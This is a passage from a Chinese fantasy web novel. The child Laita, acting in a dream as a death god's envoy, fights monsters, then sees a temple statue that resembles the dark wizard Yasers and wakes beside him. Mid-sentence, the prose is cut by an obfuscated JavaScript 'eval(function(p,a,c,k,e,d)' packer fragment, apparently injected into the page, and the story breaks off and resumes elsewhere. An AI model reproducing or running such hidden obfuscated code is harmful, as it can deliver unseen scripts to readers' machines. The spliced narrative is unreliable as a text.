孩子没再过多解释,他迈动腿继续往村子里赶:“你快跑吧,我拦着后面的魔物!” “死神的使者……” 女人深深地望着那神明的使者,对方很快杀死了又一只魔物,救下又一个村民——其中不知为何,有些魔物旁观了一切后,当场就摔倒成青尸。那村民同她一样不知所措,被提醒了才连滚带爬跑去。 死神的使者正在拯救这个村子。 她意识到她还能活命,恍惚地继续逃跑起来。 这次没那么惊惶了,却甚至还跌了几跤。 “妈妈,那是什么人?”她怀里小小的孩子问。 因太过年幼,分不清正经历何等可怕的灾难,小孩比大人要镇定许多。他有的只是好奇。 “是神使……神明座下的神使大人救了我们……”女人说,也许是说给她自己听。 她与孩子彻底逃出了村子的范围。村落消失在远方。 她知道这里已回不去,魔物也许会再度重来。但没关系,只要人还在,一切都可以继续向前。 她忽地想起许多年前的某个夜晚,抱着孩子的手紧了紧。 也许她想起了某个离家的人。 女人身上飘落下紫色鸢尾的花瓣。她怀中的孩子也是。 花瓣隐入淡淡雾气中。 莱塔已清扫完这一批所有的魔物。 依托于他的殿后,村子里的人都成功逃了出去。一些失去行动力的人,则趴在村邻们的背上。 偌大的被毁了个稀巴烂的村庄,只剩下他一人,和一地的魔物尸体。 “什么嘛,果然是做梦吧。梦里的我也太厉害了……”孩子站在村口水井上,神气地叉腰。 不对,还有东西。 梦中他对周围环境的感知,似乎也加强了许多。村后面,林子里,一排被魔物撞得东倒西歪的果树下,有强大的东西在靠近。 莱塔装作没发现,等敌人打算从背后偷袭时,他才猛地转身挥手。那大块头被灰雾劈到断墙之上,缓缓滑落。 “好大啊……”莱塔禁不住说。 一只比先前所有魔物都要高大的鹿,头上鹿角像个枝条搭建的小房子,四肢比孩子两条大腿加起来还要粗。鲜红的玫瑰花在鹿角上盛开,像眼睛。 那魔物的头仍旧似鹿,神情却和人一般。它拥有极高的智慧,不会像同族一样轻易把自己吓死。 它阴狠狠地瞪着人类——腰间的挎包,似乎被这东西给激怒,转瞬冲了上来。 莱塔闻到了甜腻的香味。 他想起雅瑟斯给他做的美味鱼肉烩饭,那果酱的味道和空气里一样。 面对鹿不可思议的高速冲击,孩子轻盈一跃,便乘着雾气跳入房顶。他手掌向下一摁,鹿便痛苦地压倒在地。 “太弱了……”孩子评价。 接下来发生的事却远超孩子的预料。 那鹿见敌人如此之强大,便毫不犹豫地转身。鹿角膨胀伸缩,转瞬形成一个编织的笼,将鹿护于其中。笼下生有八脚,也是鹿角的分叉。 在孩子的愕然注视下,残血之鹿开着它的小笼车狂奔而去,眨眼就没影。 “这样就逃跑了……?” 莱塔还没有形成补刀的好习惯。他见敌人已仓皇逃跑,周围一扫而空再无魔物,便原地坐下在屋檐,腿悠闲地摇晃。 风撩起漫游之人的袍角,云海从头顶游过,叶低吟。 漫游之人又陷入空虚与迷茫。 这里是哪里? 我从哪里来?又要去往哪里? 我……是谁? 雾气愈浓,鲜明的衣物再度从他的身上剥离。 头还是很痛。 漫游之人赤身披着灰雾,腿上怀抱墓碑,坐在没有人来往的村庄遗迹。他静静旁观日出日落,月升月降。红日与蓝月没有注意他的存在。他如一阵雾游离于时间的流逝间。 不知多少个日月轮替后。 黑发的年轻人踏入这片土地。 “村子……死了……?”年轻人喃喃。 他发了疯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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年轻人虚弱睁开眼,看见那位传说中的智者向他微笑。 “重新介绍一下。我名费德鲁斯,现为死亡与灾厄之神座下,第一神使!” 死亡与灾厄之神…… 屋檐上的漫游之人,停下了赤足的轻晃。 “雅瑟斯还在小木屋里等我回去。”漫游之人无端低声咕噜了这么一句。 小黑巫师跳落到地上,靴子踏着青草地,猫一般轻盈。他环顾四周,想要找到回家的路。奇怪,他为什么会走这么远?雅瑟斯不担心他迷路了吗? 那边的两个路人还在继续交谈。 “我主长宿于幽冥的居屋中,它是冷酷,无情,无慈悲的神明……它见证一切死亡与凋零,它知晓每一段灾厄的发生与结束……若发誓侍奉我主,你将不得背叛……” 灰扑扑的长毛流浪猫跟着行人们走,行人不知道。 莱塔觉得自己从那两人身上嗅到了熟悉的气息。是雅瑟斯的味道。 老者把年轻人带入一座神殿。 殿中仆从们恭敬地将他们迎入中央,端来珍贵的鲜花与祭器。 神殿最开阔处,供奉着一尊无色的神像。 那是死亡与灾厄的神明。 在信徒们的想象里,在神使们的描绘中,神像庄严肃穆,衣袂翻飞,瀑布般的长发滚落于腰身。它手持镰杖,龙骨的尾巴圈于袍下。 莱塔曾见过这位神明的模样。 可此刻他却睁大眼睛,不愿轻眨。 裹在宽大袍中的,并非骷髅。 兜帽里,是一张冷淡的人脸。 当莱塔与神像视线交汇,当那熟悉的被赶离的触感自灵魂深处弹起,当周围环境开始飞快褪色,远去,小黑巫师嘴里呢喃起一句无意识的话,或许等他醒来自己都会忘记。 “……雅瑟斯?” …… 莱塔慢慢从床上醒来。 他好像睡了个很饱满的觉。 窗外日光微曦,有些湿润的光线跃进冷清的屋子,地板平直如水,灰凉。桌台上软软摊着没看完的书页,纸牌串成的风铃悬在窗边不动。 莱塔眯着眼坐起身,把又不知为何缩角落的小兔捞到怀里,低头拿自己的小脸蛋蹭了蹭,磨叽好一会儿,才迷迷糊糊睁开剩下半边眼。 黑巫师坐在床头静静看他。 莱塔彻底醒了。 “离开超过了三日。我要罚你。”雅瑟斯面无表情说。